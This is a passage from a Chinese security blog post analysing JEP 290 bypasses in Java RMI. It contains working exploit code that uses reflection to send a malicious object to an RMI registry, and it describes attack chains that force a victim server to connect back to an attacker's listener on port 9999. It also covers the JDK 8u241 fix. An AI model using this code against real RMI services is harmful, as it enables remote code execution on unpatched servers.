            Field ref_filed = RemoteObject.class.getDeclaredField("ref");
            ref_filed.setAccessible(true);
            UnicastRef ref = (UnicastRef) ref_filed.get(registry);
    
            Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
            operations_filed.setAccessible(true);
            Operation[] operations = (Operation[]) operations_filed.get(registry);
    
            RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
            ObjectOutput outputStream = remoteCall.getOutputStream();
    
            Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
            enableReplace_filed.setAccessible(true);
            enableReplace_filed.setBoolean(outputStream, false);
    
            outputStream.writeObject(name);
            outputStream.writeObject(obj);
    
            ref.invoke(remoteCall);
            ref.done(remoteCall);
        }
    }

    image-20260308180711763

    成功

修复

在 jdk 8u241 中进行了修复,在 RemoteObjectInvocationHandler.invokeRemoteMethod:

img

声明要调用的方法的类,必须实现 Remote 接口,而 RMIServerSocketFactory 类没有实现该接口,于是会直接抛出异常。

总结

对于上面两个漏洞

  • JRMPClient 反杀

    利用的是白名单的内部类 实现 远程调用,以递归的形式触发反序列化

    通过 DGCClient 向 JRMPListener 发起 JRMP 请求

  • 二次反序列化

    1. enableReplace改为false之后ssf(即恶意 Proxy 对象)原样序列化并发送。
    2. 反序列化UnicastRemoteObject(白名单),实现在本地还原了这个对象,但这个对象内部“寄生”了一个你伪造的 RMIServerSocketFactory(即那个代理对象)。
    3. UnicastRemoteObject触发之后,自动触发 reexportObject(重新导出)。 为了导出,调用注入的代理工厂。代理工厂通过 RemoteObjectInvocationHandler 触发 UnicastRef.invoke,迫使受害者主动去连接你的攻击机(9999 端口)。StreamRemoteCall.executeCall() 读取 9999 端口传回的数据。这里会发生 第二次 readObject()
特性 JRMPClient 反杀 (8u121) UnicastRemoteObject 二次反序列化 (8u231/240)
绕过手段 直接利用白名单类。利用 UnicastRef 在反序列化时会自动建立连接的特性。 利用白名单类 + 反射。利用 UnicastRemoteObject 的自动导出逻辑。
关键动作 递归触发:在反序列化参数时,直接让受害者连接攻击者。 逻辑触发:在对象还原后,利用“重新导出”逻辑劫持工厂类。
解决替换问题 通常不需要特别处理 replaceObject。 必须通过反射将 enableReplace 设为 false,否则恶意 ssf 会丢失。
攻击路径 RegistryImpl -> DGCClient -> JRMPListener UnicastRemoteObject -> ssf.proxy -> JRMPListener
爆炸位置 服务端处理 RMI 请求的参数还原阶段。 服务端执行底层 executeCall 的返回读取阶段。

JEP 290绕过:JRMPClient与二次反序列化分析
http://example.com/2026/03/08/JEP 290绕过:JRMPClient与二次反序列化分析/
作者
Piggy Sprint
发布于
2026年3月8日
许可协议